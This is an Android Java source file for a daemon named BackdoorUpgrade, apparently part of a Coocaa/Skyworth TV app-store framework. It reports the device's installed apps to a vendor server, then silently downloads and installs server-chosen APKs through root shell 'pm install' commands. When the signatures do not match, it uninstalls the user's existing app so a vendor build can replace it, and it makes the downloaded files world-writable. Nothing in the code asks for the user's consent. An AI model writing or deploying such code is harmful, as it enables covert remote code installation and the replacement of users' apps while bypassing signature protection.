package com.coocaa.daemon.backdoorupgrade;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.provider.Settings;

import com.coocaa.x.framework.app.CoocaaApplication;
import com.coocaa.x.framework.utils.Android;
import com.coocaa.x.framework.utils.Downloader;
import com.coocaa.x.framework.utils.LogUtils;
import com.coocaa.x.framework.utils.ShellUtils;
import com.coocaa.x.service.XServiceManager;
import com.coocaa.x.service.litedaemon.LiteDaemon;
import com.coocaa.x.service.litepm.data.AppInfo;
import com.skyworth.framework.skysdk.android.SdCardChecker;
import com.skyworth.logsdk.appstore.LogAPIForAppStore;
import com.skyworth.webSDK.webservice.tcappstore.AppStoreException;
import com.skyworth.webSDK.webservice.tcappstore.AppStoreUpdateBean;

import java.util.ArrayList;
import java.util.List;

/**
 * Created by lu on 15-10-17.
 */
public class BackdoorUpgrade extends LiteDaemon implements Downloader.IDownloaderListener {
    private class InstallTask implements Runnable {
        private Downloader.DownloadTask task;
        private String apkfile;

        public InstallTask(Downloader.DownloadTask task) {
            apkfile = task.save_path;
            this.task = task;
        }

        private int failedCount = 0;

        private void handleInstallFailed(String msg, String pkgName) {
            if (msg != null) {
                //安装失败重试 最多3次
                if (failedCount == 3)
                    return;
                failedCount++;
                //apk签名不一致的  先卸载掉再安装
                if (msg.toUpperCase().contains("INSTALL_PARSE_FAILED_INCONSISTENT_CERTIFICATES")) {
                    try {
                        String command = "pm uninstall " + pkgName;
                        Process process = Runtime.getRuntime().exec(command);
                        process.waitFor();
                        process.getOutputStream().toString();
                        run();//reinstall
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }

        @Override
        public void run() {
            try {
                LogUtils.d("slient_install", " chmod 777 " + apkfile);
                Runtime.getRuntime().exec("chmod 777 " + apkfile);
            } catch (Exception e) {
                e.printStackTrace();
            }
            AppInfo appinfo = getAPKInfo(apkfile);
            if (appinfo != null) {
                //如果要静默升级正在最前面运行则等待其退出后再更新
                if (Android.isAppRunningAtFront(mContext, appinfo.pkgName)) {
                    postDelayed(this, 10 * 60 * 1000);
                    return;
                }
                int preferlocation = getInstallLocation(apkfile);
                LogUtils.d("install", "preferlocation:" + preferlocation);
                switch (preferlocation) {
                    case INSTALL_LOCATION_AUTO:
                        if (SdCardChecker.isSDCardAvaiable()) {
                            String arg = " -s ";
                            if (needInstallSystem(apkfile)) {
                                arg = "";
                            }
                            StringBuilder command = new StringBuilder().append("pm install -r " + arg).append(
                                    apkfile);
                            LogUtils.d("slient_install", "INSTALL_LOCATION_AUTO silent install  cmd:" + command);
                            ShellUtils.CommandResult commandResult = ShellUtils
                                    .execCommand(command.toString(), true, true);
                            if (commandResult.successMsg != null
                                    && (commandResult.successMsg.contains("Success") || commandResult.successMsg
                                    .contains("success"))) {
                                LogAPIForAppStore
                                        .appStatusNew(-1, appinfo.pkgName, appinfo.appName, "安装成功", "");
                                break;
                            } else {
                                handleInstallFailed(commandResult.errorMsg, appinfo.pkgName);
                            }
                            if (arg.equals("")) {
                                break;
                            }
                        }
                        StringBuilder command0 = new StringBuilder().append("pm install -r ").append(
                                apkfile);
                        LogUtils.d("slient_install", "INSTALL_LOCATION_AUTO silent install  cmd:" + command0);
                        ShellUtils.CommandResult commandResult0 = ShellUtils
                                .execCommand(command0.toString(), true, true);
                        if (commandResult0.successMsg != null
                                && (commandResult0.successMsg.contains("Success") || commandResult0.successMsg
                                .contains("success"))) {
                            LogAPIForAppStore
                                    .appStatusNew(-1, appinfo.pkgName, appinfo.appName, "安装成功", "");
                        } else {
                            handleInstallFailed(commandResult0.errorMsg, appinfo.pkgName);
                        }
                        break;
                    case INSTALL_LOCATION_INTERNAL_ONLY:
                        StringBuilder command1 = new StringBuilder().append("pm install -r ").append(
                                apkfile);
                        LogUtils.d("slient_install", "INSTALL_LOCATION_INTERNAL_ONLY silent install  cmd:" + command1);
                        ShellUtils.CommandResult commandResult1 = ShellUtils
                                .execCommand(command1.toString(), true, true);
                        if (commandResult1.successMsg != null
                                && (commandResult1.successMsg.contains("Success") || commandResult1.successMsg
                                .contains("success"))) {
                            LogAPIForAppStore
                                    .appStatusNew(-1, appinfo.pkgName, appinfo.appName, "安装成功", "");
                        } else {
                            handleInstallFailed(commandResult1.errorMsg, appinfo.pkgName);
                        }
                        break;
                    case INSTALL_LOCATION_PREFER_EXTERNAL:
                        if (SdCardChecker.isSDCardAvaiable()) {
                            String arg = " -s ";
                            if (needInstallSystem(apkfile)) {
                                break;
                            }
                            StringBuilder command2 = new StringBuilder().append("pm install -r " + arg).append(
                                    apkfile);
                            LogUtils.d("slient_install", "INSTALL_LOCATION_PREFER_EXTERNAL silent install  cmd:" + command2);
                            ShellUtils.CommandResult commandResult2 = ShellUtils
                                    .execCommand(command2.toString(), true, true);
                            if (commandResult2.successMsg != null
                                    && (commandResult2.successMsg.contains("Success") || commandResult2.successMsg
                                    .contains("success"))) {
                                LogAPIForAppStore
                                        .appStatusNew(-1, appinfo.pkgName, appinfo.appName, "安装成功", "");
                            } else {
                                handleInstallFailed(commandResult2.errorMsg, appinfo.pkgName);
                            }
                        }
                        break;
                    default:
                        break;
                }
            }
            if (downloader != null)
                downloader.cancel(task);
        }
    }


    private Downloader downloader = null;

    private static LiteDaemonInfo info = null;

    static {
        info = new LiteDaemonInfo();
        info.id = "com.coocaa.daemon.cc.upgrade";
        info.name = "AppStore_CC_Upgrade_Daemon";
    }

    public BackdoorUpgrade() {
        super(info);
    }

    @Override
    protected void onCreate(Context context) {
        while (!Android.isNetConnected(mContext))
            try {
                Thread.sleep(5000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        if (downloader == null)
            downloader = Downloader.create(info.id, 1);
        downloader.addCallback(this);
        downloader.init();
        final Runnable r = new Runnable() {
            @Override
            public void run() {
                if (CoocaaApplication.isFirstStartToday(info.id)) {
                    LogUtils.d("AppStore_CC_Upgrade_Daemon first start today!!");
                    List<AppStoreUpdateBean> beans = getUpdateBeans();
                    if (beans != null && beans.size() > 0) {
                        LogUtils.d("AppStore_CC_Upgrade_Daemon get update beans:" + beans.size());
                        for (AppStoreUpdateBean bean : beans) {
                            //判断bean中增加的标识，此应用是否需要被静默替换成coocaa渠道版本
                            if (bean.silentInstallation) {
                                String url = getDownurl(String.valueOf(bean.appid), "");
                                LogUtils.d("AppStore_CC_Upgrade_Daemon now start update app:" + bean.appname + "/" + bean.packagename + " from:" + url);
                                if (url != null) {
                                    Downloader.DownloadTask task = new Downloader.DownloadTask();
                                    task.save_path = downloader.getSavePath() + "/" + bean.packagename;
                                    task.download_url = url;
                                    downloader.start(task);
                                }
                            }
                        }
                    }
                }
                postDelayed(this, 60 * 60 * 1000);
            }
        };
        post(r);
    }

    private List<AppStoreUpdateBean> getUpdateBeans() {
        try {
            List<AppInfo> apps = XServiceManager.getLitePMService().getInstalledApps();
            List<AppStoreUpdateBean> beans = new ArrayList<AppStoreUpdateBean>();
            for (AppInfo app : apps) {
                AppStoreUpdateBean bean = new AppStoreUpdateBean();
                bean.packagename = app.pkgName;
                bean.version = String.valueOf(app.versionCode);
                beans.add(bean);
            }
            LogUtils.d("AppStore_CC_Upgrade_Daemon get installed apps:" + beans.size());
            return CoocaaApplication.getCoocaaWebService().getAppStoreService().getUpdateInfos(beans, null);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    private String getDownurl(String appid, String usercount) {
        try {
            String downurl = CoocaaApplication.getCoocaaWebService().getAppStoreService().getDownAddress(
                    Integer.valueOf(appid), usercount);
            System.out.println("download url:" + downurl);
            return downurl;
        } catch (AppStoreException e) {
            LogAPIForAppStore.reportInterfaceError("获取应用下载地址接口",
                    Android.throwable2String(e));
            System.out.println("错误原因：" + e.getErrormsg());
        } catch (NumberFormatException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        return null;
    }

    @Override
    protected void onDestroy() {
        downloader.removeCallback(this);
    }


    @Override
    public void onStarted(Downloader.DownloadTask task) {

    }

    @Override
    public void onPaused(Downloader.DownloadTask task) {

    }

    @Override
    public void onCanceled(Downloader.DownloadTask task) {

    }

    @Override
    public void onProgressUpdate(Downloader.DownloadTask task, int percent, long fileSize, long downloadedSize) {

    }

    @Override
    public void onSuccess(Downloader.DownloadTask task) {
        post(new InstallTask(task));
    }

    @Override
    public void onError(Downloader.DownloadTask task, int err_code, String err_msg) {

    }


    private static final int INSTALL_LOCATION_UNSPECIFIED = -1;
    private static final int INSTALL_LOCATION_AUTO = 0;
    private static final int INSTALL_LOCATION_INTERNAL_ONLY = 1;
    private static final int INSTALL_LOCATION_PREFER_EXTERNAL = 2;

    private int getInstallLocation(String apk) {
//        int pos = getApkPreferInstallLocation(apk);
//        LogUtils.d("install",apk + "apk getInstallLocation:" + pos);
//        if (pos <= 0)
        int pos = getConfigInstallLocation();
        LogUtils.d("install", apk + "settings getInstallLocation:" + pos);
        return pos;
    }

    private int getConfigInstallLocation() {
        int ret = Settings.Secure.getInt(mContext.getContentResolver(), "default_install_location", 0);
        LogUtils.d("install", "settings getInstallLocation:" + ret);
//        if(ret == 0)
//            return 2;    //应酷开系统需求，如果location为自动（0），则当成外部（2）来处理。
        return ret;
        // 0：自动
        // 1：内部
        // 2：外部
    }

    public AppInfo getAPKInfo(String apkfile) {
        try {
            AppInfo info = null;
            PackageInfo packageinfo = mContext.getPackageManager().getPackageArchiveInfo(apkfile,
                    PackageManager.GET_ACTIVITIES);
            if (packageinfo != null) {
                info = new AppInfo();
                ApplicationInfo appInfo = packageinfo.applicationInfo;
                info.apkPath = apkfile;
                try {
                    info.appName = mContext.getPackageManager().getApplicationLabel(appInfo)
                            .toString();
                } catch (Exception e) {
                    e.printStackTrace();
                }
                info.pkgName = appInfo.packageName;
                info.versionName = packageinfo.versionName;
                info.versionCode = packageinfo.versionCode;
            }
            return info;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    private boolean needInstallSystem(String apkPath) {
        PackageInfo pkgInfo = mContext.getPackageManager().getPackageArchiveInfo(apkPath, PackageManager.GET_ACTIVITIES);
        LogUtils.d("install", "(pkgInfo != null):" + (pkgInfo != null));
        if (pkgInfo != null) {
            if (pkgInfo.sharedUserId != null && pkgInfo.sharedUserId.equals("android.uid.system")) {
                LogUtils.d("install", apkPath + "is system uid !");
                return true;
            }
            boolean isSystemApp = isSystemApp(pkgInfo.packageName);
            if (isSystemApp)
                return true;
            return false;
        }
        return false;
    }

    private boolean isSystemApp(String pkg) {
        PackageManager pm = mContext.getPackageManager();
        try {
            ApplicationInfo info = pm.getApplicationInfo(pkg, PackageManager.GET_DISABLED_COMPONENTS);
            LogUtils.d("install", " sourceDir:" + info.sourceDir);
            if (info.sourceDir.startsWith("/system") || info.sourceDir.startsWith("system"))
                return true;
            return false;
        } catch (PackageManager.NameNotFoundException e) {
            e.printStackTrace();
            return false;
        }
    }
}
